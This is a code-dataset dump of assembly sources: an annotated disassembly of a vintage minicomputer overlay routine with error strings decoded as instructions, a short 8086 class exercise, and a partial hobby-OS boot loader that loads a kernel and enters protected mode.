0x020F (0x00041E) 0x290F- f:00024 d: 271 | OR[271] = A
0x0210 (0x000420) 0x7006- f:00070 d: 6 | P = P + 6 (0x0216)
0x0211 (0x000422) 0x310D- f:00030 d: 269 | A = (OR[269])
0x0212 (0x000424) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0213 (0x000426) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x0214 (0x000428) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0215 (0x00042A) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x0216 (0x00042C) 0x210F- f:00020 d: 271 | A = OR[271]
0x0217 (0x00042E) 0x8E06- f:00107 d: 6 | P = P - 6 (0x0211), A # 0
@ Call overlay function 16
0x0218 (0x000430) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x0219 (0x000432) 0x2929- f:00024 d: 297 | OR[297] = A
0x021A (0x000434) 0x211B- f:00020 d: 283 | A = OR[283]
0x021B (0x000436) 0x292A- f:00024 d: 298 | OR[298] = A
0x021C (0x000438) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x021D (0x00043A) 0x5800- f:00054 d: 0 | B = A
0x021E (0x00043C) 0x1800-0x2318 f:00014 d: 0 | A = 8984 (0x2318)
0x0220 (0x000440) 0x7C09- f:00076 d: 9 | R = OR[9]
@ Call overlay function 25: release memory from OR[283]
0x0221 (0x000442) 0x1019- f:00010 d: 25 | A = 25 (0x0019)
0x0222 (0x000444) 0x2929- f:00024 d: 297 | OR[297] = A
0x0223 (0x000446) 0x211B- f:00020 d: 283 | A = OR[283]
0x0224 (0x000448) 0x292A- f:00024 d: 298 | OR[298] = A
0x0225 (0x00044A) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x0226 (0x00044C) 0x5800- f:00054 d: 0 | B = A
0x0227 (0x00044E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0228 (0x000450) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0229 (0x000452) 0x0200- f:00001 d: 0 | EXIT
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@ Wait for interrupt
@@ Input:
@@ OR[287]: pointer to some flag. If flag is non-0, zero it out and return immediately
@@ Output:
@@ A : 0 if timeout, non-0 if interrupt received
@@ OR[291]: old value from (OR[287])
@@ (OR[287]): set to 0
0x022A (0x000454) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x022B (0x000456) 0x2928- f:00024 d: 296 | OR[296] = A
0x022C (0x000458) 0x311F- f:00030 d: 287 | A = (OR[287])
0x022D (0x00045A) 0x8402- f:00102 d: 2 | P = P + 2 (0x022F), A = 0
0x022E (0x00045C) 0x7014- f:00070 d: 20 | P = P + 20 (0x0242)
@ Call overlay function 9: wait for interrupt
0x022F (0x00045E) 0x1009- f:00010 d: 9 | A = 9 (0x0009)
0x0230 (0x000460) 0x2929- f:00024 d: 297 | OR[297] = A
0x0231 (0x000462) 0x211F- f:00020 d: 287 | A = OR[287]
0x0232 (0x000464) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0233 (0x000466) 0x292A- f:00024 d: 298 | OR[298] = A
0x0234 (0x000468) 0x1064- f:00010 d: 100 | A = 100 (0x0064)
0x0235 (0x00046A) 0x292B- f:00024 d: 299 | OR[299] = A
0x0236 (0x00046C) 0x1129- f:00010 d: 297 | A = 297 (0x0129)
0x0237 (0x00046E) 0x5800- f:00054 d: 0 | B = A
0x0238 (0x000470) 0x1800-0x2318 f:00014 d: 0 | A = 8984 (0x2318)
0x023A (0x000474) 0x7C09- f:00076 d: 9 | R = OR[9]
@ Read timeout value: did we time out or got an interrupt?
0x023B (0x000476) 0x2006- f:00020 d: 6 | A = OR[6]
0x023C (0x000478) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x023D (0x00047A) 0x2908- f:00024 d: 264 | OR[264] = A
0x023E (0x00047C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x023F (0x00047E) 0x0400- f:00002 d: 0 | I = 0
0x0240 (0x000480) 0x0000- f:00000 d: 0 | PASS
0x0241 (0x000482) 0x2928- f:00024 d: 296 | OR[296] = A
0x0242 (0x000484) 0x311F- f:00030 d: 287 | A = (OR[287])
0x0243 (0x000486) 0x2923- f:00024 d: 291 | OR[291] = A
0x0244 (0x000488) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0245 (0x00048A) 0x391F- f:00034 d: 287 | (OR[287]) = A
0x0246 (0x00048C) 0x2128- f:00020 d: 296 | A = OR[296]
0x0247 (0x00048E) 0x0200- f:00001 d: 0 | EXIT
@ Various strings here:
@ Concentrator ordinal not configured. Command aborted. termination in progress. Command aborted. initialization in progress. Command aborted.already active.Command aborted. not configured correctly. Command aborted.
@ channel disabled.Command aborted. channel initialization error.Command aborted. VAX interfaceselect error. Command aborted.Creation of conc. activity failed. Command aborted. initialized
0x0248 (0x000490) 0x436F- f:00041 d: 367 | C = 1, io 0557 = BZ
0x0249 (0x000492) 0x6E63- f:00067 d: 99 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0063 ****
0x024A (0x000494) 0x656E- f:00062 d: 366 | A = A + OR[B] | **** non-standard encoding with D:0x016E ****
0x024B (0x000496) 0x7472- f:00072 d: 114 | R = P + 114 (0x02BD)
0x024C (0x000498) 0x6174- f:00060 d: 372 | A = OR[B] | **** non-standard encoding with D:0x0174 ****
0x024D (0x00049A) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x024E (0x00049C) 0x206F- f:00020 d: 111 | A = OR[111]
0x024F (0x00049E) 0x7264- f:00071 d: 100 | P = P - 100 (0x01EB)
0x0250 (0x0004A0) 0x696E- f:00064 d: 366 | OR[B] = A | **** non-standard encoding with D:0x016E ****
0x0251 (0x0004A2) 0x616C- f:00060 d: 364 | A = OR[B] | **** non-standard encoding with D:0x016C ****
0x0252 (0x0004A4) 0x0000- f:00000 d: 0 | PASS
0x0253 (0x0004A6) 0x6E6F- f:00067 d: 111 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x006F ****
0x0254 (0x0004A8) 0x7420- f:00072 d: 32 | R = P + 32 (0x0274)
0x0255 (0x0004AA) 0x636F- f:00061 d: 367 | A = A & OR[B] | **** non-standard encoding with D:0x016F ****
0x0256 (0x0004AC) 0x6E66- f:00067 d: 102 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0066 ****
0x0257 (0x0004AE) 0x6967- f:00064 d: 359 | OR[B] = A | **** non-standard encoding with D:0x0167 ****
0x0258 (0x0004B0) 0x7572- f:00072 d: 370 | R = P + 370 (0x03CA)
0x0259 (0x0004B2) 0x6564- f:00062 d: 356 | A = A + OR[B] | **** non-standard encoding with D:0x0164 ****
0x025A (0x0004B4) 0x2E20- f:00027 d: 32 | OR[32] = OR[32] - 1
0x025B (0x0004B6) 0x436F- f:00041 d: 367 | C = 1, io 0557 = BZ
0x025C (0x0004B8) 0x6D6D- f:00066 d: 365 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x016D ****
0x025D (0x0004BA) 0x616E- f:00060 d: 366 | A = OR[B] | **** non-standard encoding with D:0x016E ****
0x025E (0x0004BC) 0x6420- f:00062 d: 32 | A = A + OR[B] | **** non-standard encoding with D:0x0020 ****
0x025F (0x0004BE) 0x6162- f:00060 d: 354 | A = OR[B] | **** non-standard encoding with D:0x0162 ****
0x0260 (0x0004C0) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x0261 (0x0004C2) 0x7465- f:00072 d: 101 | R = P + 101 (0x02C6)
0x0262 (0x0004C4) 0x642E- f:00062 d: 46 | A = A + OR[B] | **** non-standard encoding with D:0x002E ****
0x0263 (0x0004C6) 0x0000- f:00000 d: 0 | PASS
0x0264 (0x0004C8) 0x7465- f:00072 d: 101 | R = P + 101 (0x02C9)
0x0265 (0x0004CA) 0x726D- f:00071 d: 109 | P = P - 109 (0x01F8)
0x0266 (0x0004CC) 0x696E- f:00064 d: 366 | OR[B] = A | **** non-standard encoding with D:0x016E ****
0x0267 (0x0004CE) 0x6174- f:00060 d: 372 | A = OR[B] | **** non-standard encoding with D:0x0174 ****
0x0268 (0x0004D0) 0x696F- f:00064 d: 367 | OR[B] = A | **** non-standard encoding with D:0x016F ****
0x0269 (0x0004D2) 0x6E20- f:00067 d: 32 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0020 ****
0x026A (0x0004D4) 0x696E- f:00064 d: 366 | OR[B] = A | **** non-standard encoding with D:0x016E ****
0x026B (0x0004D6) 0x2070- f:00020 d: 112 | A = OR[112]
0x026C (0x0004D8) 0x726F- f:00071 d: 111 | P = P - 111 (0x01FD)
0x026D (0x0004DA) 0x6772- f:00063 d: 370 | A = A - OR[B] | **** non-standard encoding with D:0x0172 ****
0x026E (0x0004DC) 0x6573- f:00062 d: 371 | A = A + OR[B] | **** non-standard encoding with D:0x0173 ****
0x026F (0x0004DE) 0x732E- f:00071 d: 302 | P = P - 302 (0x0141)
0x0270 (0x0004E0) 0x2043- f:00020 d: 67 | A = OR[67]
0x0271 (0x0004E2) 0x6F6D- f:00067 d: 365 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x016D ****
0x0272 (0x0004E4) 0x6D61- f:00066 d: 353 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0161 ****
0x0273 (0x0004E6) 0x6E64- f:00067 d: 100 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0064 ****
0x0274 (0x0004E8) 0x2061- f:00020 d: 97 | A = OR[97]
0x0275 (0x0004EA) 0x626F- f:00061 d: 111 | A = A & OR[B] | **** non-standard encoding with D:0x006F ****
0x0276 (0x0004EC) 0x7274- f:00071 d: 116 | P = P - 116 (0x0202)
0x0277 (0x0004EE) 0x6564- f:00062 d: 356 | A = A + OR[B] | **** non-standard encoding with D:0x0164 ****
0x0278 (0x0004F0) 0x2E00- f:00027 d: 0 | OR[0] = OR[0] - 1
0x0279 (0x0004F2) 0x696E- f:00064 d: 366 | OR[B] = A | **** non-standard encoding with D:0x016E ****
0x027A (0x0004F4) 0x6974- f:00064 d: 372 | OR[B] = A | **** non-standard encoding with D:0x0174 ****
0x027B (0x0004F6) 0x6961- f:00064 d: 353 | OR[B] = A | **** non-standard encoding with D:0x0161 ****
0x027C (0x0004F8) 0x6C69- f:00066 d: 105 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0069 ****
0x027D (0x0004FA) 0x7A61-0x7469 f:00075 d: 97 | P = OR[97]+29801 (0x7469)
0x027F (0x0004FE) 0x6F6E- f:00067 d: 366 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x016E ****
0x0280 (0x000500) 0x2069- f:00020 d: 105 | A = OR[105]
0x0281 (0x000502) 0x6E20- f:00067 d: 32 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0020 ****
0x0282 (0x000504) 0x7072- f:00070 d: 114 | P = P + 114 (0x02F4)
0x0283 (0x000506) 0x6F67- f:00067 d: 359 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0167 ****
0x0284 (0x000508) 0x7265- f:00071 d: 101 | P = P - 101 (0x021F)
0x0285 (0x00050A) 0x7373- f:00071 d: 371 | P = P - 371 (0x0112)
0x0286 (0x00050C) 0x2E20- f:00027 d: 32 | OR[32] = OR[32] - 1
0x0287 (0x00050E) 0x436F- f:00041 d: 367 | C = 1, io 0557 = BZ
0x0288 (0x000510) 0x6D6D- f:00066 d: 365 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x016D ****
0x0289 (0x000512) 0x616E- f:00060 d: 366 | A = OR[B] | **** non-standard encoding with D:0x016E ****
0x028A (0x000514) 0x6420- f:00062 d: 32 | A = A + OR[B] | **** non-standard encoding with D:0x0020 ****
0x028B (0x000516) 0x6162- f:00060 d: 354 | A = OR[B] | **** non-standard encoding with D:0x0162 ****
0x028C (0x000518) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x028D (0x00051A) 0x7465- f:00072 d: 101 | R = P + 101 (0x02F2)
0x028E (0x00051C) 0x642E- f:00062 d: 46 | A = A + OR[B] | **** non-standard encoding with D:0x002E ****
0x028F (0x00051E) 0x0000- f:00000 d: 0 | PASS
0x0290 (0x000520) 0x616C- f:00060 d: 364 | A = OR[B] | **** non-standard encoding with D:0x016C ****
0x0291 (0x000522) 0x7265- f:00071 d: 101 | P = P - 101 (0x022C)
0x0292 (0x000524) 0x6164- f:00060 d: 356 | A = OR[B] | **** non-standard encoding with D:0x0164 ****
0x0293 (0x000526) 0x7920- f:00074 d: 288 | P = OR[288]
0x0294 (0x000528) 0x6163- f:00060 d: 355 | A = OR[B] | **** non-standard encoding with D:0x0163 ****
0x0295 (0x00052A) 0x7469- f:00072 d: 105 | R = P + 105 (0x02FE)
0x0296 (0x00052C) 0x7665- f:00073 d: 101 | R = P - 101 (0x0231)
0x0297 (0x00052E) 0x2E20- f:00027 d: 32 | OR[32] = OR[32] - 1
0x0298 (0x000530) 0x436F- f:00041 d: 367 | C = 1, io 0557 = BZ
0x0299 (0x000532) 0x6D6D- f:00066 d: 365 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x016D ****
0x029A (0x000534) 0x616E- f:00060 d: 366 | A = OR[B] | **** non-standard encoding with D:0x016E ****
0x029B (0x000536) 0x6420- f:00062 d: 32 | A = A + OR[B] | **** non-standard encoding with D:0x0020 ****
0x029C (0x000538) 0x6162- f:00060 d: 354 | A = OR[B] | **** non-standard encoding with D:0x0162 ****
0x029D (0x00053A) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x029E (0x00053C) 0x7465- f:00072 d: 101 | R = P + 101 (0x0303)
0x029F (0x00053E) 0x642E- f:00062 d: 46 | A = A + OR[B] | **** non-standard encoding with D:0x002E ****
0x02A0 (0x000540) 0x0000- f:00000 d: 0 | PASS
0x02A1 (0x000542) 0x6E6F- f:00067 d: 111 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x006F ****
0x02A2 (0x000544) 0x7420- f:00072 d: 32 | R = P + 32 (0x02C2)
0x02A3 (0x000546) 0x636F- f:00061 d: 367 | A = A & OR[B] | **** non-standard encoding with D:0x016F ****
0x02A4 (0x000548) 0x6E66- f:00067 d: 102 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0066 ****
0x02A5 (0x00054A) 0x6967- f:00064 d: 359 | OR[B] = A | **** non-standard encoding with D:0x0167 ****
0x02A6 (0x00054C) 0x7572- f:00072 d: 370 | R = P + 370 (0x0418)
0x02A7 (0x00054E) 0x6564- f:00062 d: 356 | A = A + OR[B] | **** non-standard encoding with D:0x0164 ****
0x02A8 (0x000550) 0x2063- f:00020 d: 99 | A = OR[99]
0x02A9 (0x000552) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x02AA (0x000554) 0x7265- f:00071 d: 101 | P = P - 101 (0x0245)
0x02AB (0x000556) 0x6374- f:00061 d: 372 | A = A & OR[B] | **** non-standard encoding with D:0x0174 ****
0x02AC (0x000558) 0x6C79- f:00066 d: 121 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0079 ****
0x02AD (0x00055A) 0x2E20- f:00027 d: 32 | OR[32] = OR[32] - 1
0x02AE (0x00055C) 0x436F- f:00041 d: 367 | C = 1, io 0557 = BZ
0x02AF (0x00055E) 0x6D6D- f:00066 d: 365 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x016D ****
0x02B0 (0x000560) 0x616E- f:00060 d: 366 | A = OR[B] | **** non-standard encoding with D:0x016E ****
0x02B1 (0x000562) 0x6420- f:00062 d: 32 | A = A + OR[B] | **** non-standard encoding with D:0x0020 ****
0x02B2 (0x000564) 0x6162- f:00060 d: 354 | A = OR[B] | **** non-standard encoding with D:0x0162 ****
0x02B3 (0x000566) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x02B4 (0x000568) 0x7465- f:00072 d: 101 | R = P + 101 (0x0319)
0x02B5 (0x00056A) 0x642E- f:00062 d: 46 | A = A + OR[B] | **** non-standard encoding with D:0x002E ****
0x02B6 (0x00056C) 0x0000- f:00000 d: 0 | PASS
0x02B7 (0x00056E) 0x6368- f:00061 d: 360 | A = A & OR[B] | **** non-standard encoding with D:0x0168 ****
0x02B8 (0x000570) 0x616E- f:00060 d: 366 | A = OR[B] | **** non-standard encoding with D:0x016E ****
0x02B9 (0x000572) 0x6E65- f:00067 d: 101 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0065 ****
0x02BA (0x000574) 0x6C20- f:00066 d: 32 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0020 ****
0x02BB (0x000576) 0x6469- f:00062 d: 105 | A = A + OR[B] | **** non-standard encoding with D:0x0069 ****
0x02BC (0x000578) 0x7361- f:00071 d: 353 | P = P - 353 (0x015B)
0x02BD (0x00057A) 0x626C- f:00061 d: 108 | A = A & OR[B] | **** non-standard encoding with D:0x006C ****
0x02BE (0x00057C) 0x6564- f:00062 d: 356 | A = A + OR[B] | **** non-standard encoding with D:0x0164 ****
0x02BF (0x00057E) 0x2E20- f:00027 d: 32 | OR[32] = OR[32] - 1
0x02C0 (0x000580) 0x436F- f:00041 d: 367 | C = 1, io 0557 = BZ
0x02C1 (0x000582) 0x6D6D- f:00066 d: 365 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x016D ****
0x02C2 (0x000584) 0x616E- f:00060 d: 366 | A = OR[B] | **** non-standard encoding with D:0x016E ****
0x02C3 (0x000586) 0x6420- f:00062 d: 32 | A = A + OR[B] | **** non-standard encoding with D:0x0020 ****
0x02C4 (0x000588) 0x6162- f:00060 d: 354 | A = OR[B] | **** non-standard encoding with D:0x0162 ****
0x02C5 (0x00058A) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x02C6 (0x00058C) 0x7465- f:00072 d: 101 | R = P + 101 (0x032B)
0x02C7 (0x00058E) 0x642E- f:00062 d: 46 | A = A + OR[B] | **** non-standard encoding with D:0x002E ****
0x02C8 (0x000590) 0x0000- f:00000 d: 0 | PASS
0x02C9 (0x000592) 0x6368- f:00061 d: 360 | A = A & OR[B] | **** non-standard encoding with D:0x0168 ****
0x02CA (0x000594) 0x616E- f:00060 d: 366 | A = OR[B] | **** non-standard encoding with D:0x016E ****
0x02CB (0x000596) 0x6E65- f:00067 d: 101 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0065 ****
0x02CC (0x000598) 0x6C20- f:00066 d: 32 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0020 ****
0x02CD (0x00059A) 0x696E- f:00064 d: 366 | OR[B] = A | **** non-standard encoding with D:0x016E ****
0x02CE (0x00059C) 0x6974- f:00064 d: 372 | OR[B] = A | **** non-standard encoding with D:0x0174 ****
0x02CF (0x00059E) 0x6961- f:00064 d: 353 | OR[B] = A | **** non-standard encoding with D:0x0161 ****
0x02D0 (0x0005A0) 0x6C69- f:00066 d: 105 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0069 ****
0x02D1 (0x0005A2) 0x7A61-0x7469 f:00075 d: 97 | P = OR[97]+29801 (0x7469)
0x02D3 (0x0005A6) 0x6F6E- f:00067 d: 366 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x016E ****
0x02D4 (0x0005A8) 0x2065- f:00020 d: 101 | A = OR[101]
0x02D5 (0x0005AA) 0x7272- f:00071 d: 114 | P = P - 114 (0x0263)
0x02D6 (0x0005AC) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x02D7 (0x0005AE) 0x2E20- f:00027 d: 32 | OR[32] = OR[32] - 1
0x02D8 (0x0005B0) 0x436F- f:00041 d: 367 | C = 1, io 0557 = BZ
0x02D9 (0x0005B2) 0x6D6D- f:00066 d: 365 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x016D ****
0x02DA (0x0005B4) 0x616E- f:00060 d: 366 | A = OR[B] | **** non-standard encoding with D:0x016E ****
0x02DB (0x0005B6) 0x6420- f:00062 d: 32 | A = A + OR[B] | **** non-standard encoding with D:0x0020 ****
0x02DC (0x0005B8) 0x6162- f:00060 d: 354 | A = OR[B] | **** non-standard encoding with D:0x0162 ****
0x02DD (0x0005BA) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x02DE (0x0005BC) 0x7465- f:00072 d: 101 | R = P + 101 (0x0343)
0x02DF (0x0005BE) 0x642E- f:00062 d: 46 | A = A + OR[B] | **** non-standard encoding with D:0x002E ****
0x02E0 (0x0005C0) 0x0000- f:00000 d: 0 | PASS
0x02E1 (0x0005C2) 0x5641- f:00053 d: 65 | A = A - B | **** non-standard encoding with D:0x0041 ****
0x02E2 (0x0005C4) 0x5820- f:00054 d: 32 | B = A | **** non-standard encoding with D:0x0020 ****
0x02E3 (0x0005C6) 0x696E- f:00064 d: 366 | OR[B] = A | **** non-standard encoding with D:0x016E ****
0x02E4 (0x0005C8) 0x7465- f:00072 d: 101 | R = P + 101 (0x0349)
0x02E5 (0x0005CA) 0x7266- f:00071 d: 102 | P = P - 102 (0x027F)
0x02E6 (0x0005CC) 0x6163- f:00060 d: 355 | A = OR[B] | **** non-standard encoding with D:0x0163 ****
0x02E7 (0x0005CE) 0x6520- f:00062 d: 288 | A = A + OR[B] | **** non-standard encoding with D:0x0120 ****
0x02E8 (0x0005D0) 0x7365- f:00071 d: 357 | P = P - 357 (0x0183)
0x02E9 (0x0005D2) 0x6C65- f:00066 d: 101 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0065 ****
0x02EA (0x0005D4) 0x6374- f:00061 d: 372 | A = A & OR[B] | **** non-standard encoding with D:0x0174 ****
0x02EB (0x0005D6) 0x2065- f:00020 d: 101 | A = OR[101]
0x02EC (0x0005D8) 0x7272- f:00071 d: 114 | P = P - 114 (0x027A)
0x02ED (0x0005DA) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x02EE (0x0005DC) 0x2E20- f:00027 d: 32 | OR[32] = OR[32] - 1
0x02EF (0x0005DE) 0x436F- f:00041 d: 367 | C = 1, io 0557 = BZ
0x02F0 (0x0005E0) 0x6D6D- f:00066 d: 365 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x016D ****
0x02F1 (0x0005E2) 0x616E- f:00060 d: 366 | A = OR[B] | **** non-standard encoding with D:0x016E ****
0x02F2 (0x0005E4) 0x6420- f:00062 d: 32 | A = A + OR[B] | **** non-standard encoding with D:0x0020 ****
0x02F3 (0x0005E6) 0x6162- f:00060 d: 354 | A = OR[B] | **** non-standard encoding with D:0x0162 ****
0x02F4 (0x0005E8) 0x6F72- f:00067 d: 370 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0172 ****
0x02F5 (0x0005EA) 0x7465- f:00072 d: 101 | R = P + 101 (0x035A)
0x02F6 (0x0005EC) 0x642E- f:00062 d: 46 | A = A + OR[B] | **** non-standard encoding with D:0x002E ****
0x02F7 (0x0005EE) 0x0000- f:00000 d: 0 | PASS
0x02F8 (0x0005F0) 0x4372- f:00041 d: 370 | C = 1, io 0562 = BZ
0x02F9 (0x0005F2) 0x6561- f:00062 d: 353 | A = A + OR[B] | **** non-standard encoding with D:0x0161 ****
0x02FA (0x0005F4) 0x7469- f:00072 d: 105 | R = P + 105 (0x0363)
0x02FB (0x0005F6) 0x6F6E- f:00067 d: 366 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x016E ****
0x02FC (0x0005F8) 0x206F- f:00020 d: 111 | A = OR[111]
0x02FD (0x0005FA) 0x6620- f:00063 d: 32 | A = A - OR[B] | **** non-standard encoding with D:0x0020 ****
0x02FE (0x0005FC) 0x636F- f:00061 d: 367 | A = A & OR[B] | **** non-standard encoding with D:0x016F ****
0x02FF (0x0005FE) 0x6E63- f:00067 d: 99 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0063 ****
0x0300 (0x000600) 0x2E20- f:00027 d: 32 | OR[32] = OR[32] - 1
0x0301 (0x000602) 0x6163- f:00060 d: 355 | A = OR[B] | **** non-standard encoding with D:0x0163 ****
0x0302 (0x000604) 0x7469- f:00072 d: 105 | R = P + 105 (0x036B)
0x0303 (0x000606) 0x7669- f:00073 d: 105 | R = P - 105 (0x029A)
0x0304 (0x000608) 0x7479- f:00072 d: 121 | R = P + 121 (0x037D)
0x0305 (0x00060A) 0x2066- f:00020 d: 102 | A = OR[102]
0x0306 (0x00060C) 0x6169- f:00060 d: 361 | A = OR[B] | **** non-standard encoding with D:0x0169 ****
0x0307 (0x00060E) 0x6C65- f:00066 d: 101 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0065 ****
0x0308 (0x000610) 0x642E- f:00062 d: 46 | A = A + OR[B] | **** non-standard encoding with D:0x002E ****
0x0309 (0x000612) 0x2043- f:00020 d: 67 | A = OR[67]
0x030A (0x000614) 0x6F6D- f:00067 d: 365 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x016D ****
0x030B (0x000616) 0x6D61- f:00066 d: 353 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0161 ****
0x030C (0x000618) 0x6E64- f:00067 d: 100 | OR[B] = OR[B] - 1 | **** non-standard encoding with D:0x0064 ****
0x030D (0x00061A) 0x2061- f:00020 d: 97 | A = OR[97]
0x030E (0x00061C) 0x626F- f:00061 d: 111 | A = A & OR[B] | **** non-standard encoding with D:0x006F ****
0x030F (0x00061E) 0x7274- f:00071 d: 116 | P = P - 116 (0x029B)
0x0310 (0x000620) 0x6564- f:00062 d: 356 | A = A + OR[B] | **** non-standard encoding with D:0x0164 ****
0x0311 (0x000622) 0x2E00- f:00027 d: 0 | OR[0] = OR[0] - 1
0x0312 (0x000624) 0x696E- f:00064 d: 366 | OR[B] = A | **** non-standard encoding with D:0x016E ****
0x0313 (0x000626) 0x6974- f:00064 d: 372 | OR[B] = A | **** non-standard encoding with D:0x0174 ****
0x0314 (0x000628) 0x6961- f:00064 d: 353 | OR[B] = A | **** non-standard encoding with D:0x0161 ****
0x0315 (0x00062A) 0x6C69- f:00066 d: 105 | OR[B] = OR[B] + 1 | **** non-standard encoding with D:0x0069 ****
0x0316 (0x00062C) 0x7A65-0x6400 f:00075 d: 101 | P = OR[101]+25600 (0x6400)
0x0318 (0x000630) 0x0000- f:00000 d: 0 | PASS
0x0319 (0x000632) 0x0000- f:00000 d: 0 | PASS
0x031A (0x000634) 0x0000- f:00000 d: 0 | PASS
0x031B (0x000636) 0x0000- f:00000 d: 0 | PASS
| 87.529551 | 223 | 0.497785 |
ba3f8800eb54a986dc7eda9bb6138a0b91abe8c4 | 261 | asm | Assembly | Practice/Assignments assembly class/3.asm | WardunIslam/CSE331L_Section_7_Summer_2020_NSU | 4f36bf223c44afd2233a243a2f8ba92df18f5545 | [
"MIT"
] | null | null | null | Practice/Assignments assembly class/3.asm | WardunIslam/CSE331L_Section_7_Summer_2020_NSU | 4f36bf223c44afd2233a243a2f8ba92df18f5545 | [
"MIT"
] | null | null | null | Practice/Assignments assembly class/3.asm | WardunIslam/CSE331L_Section_7_Summer_2020_NSU | 4f36bf223c44afd2233a243a2f8ba92df18f5545 | [
"MIT"
] | null | null | null | org 100h
L1: NOP
L2: MOV AX, 0F000H
MOV DS, AX
MOV BX, 0FFFFH
MOV CL, BYTE PTR DS:[BX]
L3: MOV AX, 0000H
MOV DS, AX
MOV BX, 0000H
MOV CH, BYTE PTR DS:[BX]
L4: ADD CL, CH
L5: MOV AL, CL
OUT 0FEH, AL
L6: HLT
ret
| 9.666667 | 28 | 0.532567 |
f324925d801be0407013ae02fed80bcee42e3f3f | 1,425 | asm | Assembly | kernel/boot/boot-loader/boot-loader.asm | Seltzer/royston-vasey-os | 796ce1d564fc57f76048f00e6cd9b881cdcea8fc | [
"MIT"
] | null | null | null | kernel/boot/boot-loader/boot-loader.asm | Seltzer/royston-vasey-os | 796ce1d564fc57f76048f00e6cd9b881cdcea8fc | [
"MIT"
] | null | null | null | kernel/boot/boot-loader/boot-loader.asm | Seltzer/royston-vasey-os | 796ce1d564fc57f76048f00e6cd9b881cdcea8fc | [
"MIT"
] | null | null | null | ;;;;;;;;;;;
;;; Top level boot loader
;;;
; BIOS loads our boot loader to 0x7c00
[org 0x7c00]
; Memory offset to where we'll load our kernel
KERNEL_OFFSET equ 0x1000
; BIOS stores the boot drive in DL. Hold onto it
mov [BOOT_DRIVE], dl
; Someone set us up the stack
mov bp, 0x9000
mov sp, bp
; Tell user we're in 16 bit real mode
mov bx, MSG_REAL_MODE
call print_string
; Load kernel into memory
mov bx, KERNEL_OFFSET ; TODO
mov dl, [BOOT_DRIVE]
call read_kernel_from_disk
; Enter protected mode - we'll end up in on_protected_mode_initialised afterwards
call enter_protected_mode
;;; Includes
%include "print-string.asm"
%include "read-kernel-from-disk.asm"
%include "enter-protected-mode.asm"
;;; 32 bit stuff
[bits 32]
%include "print-string-protected.asm"
; Handler which is invoked after we enter 32 bit protected mode
on_protected_mode_initialised:
; Tell user we're booting
mov ebx, MSG_BOOTING_KERNEL
call print_string_protected
; Jump to the address where we earlier loaded the kernel
call KERNEL_OFFSET
; Infinitely loop and loop infinitely.
jmp $
;;; Globals
; First drive (e.g. BOCHS floppy)
BOOT_DRIVE db 0
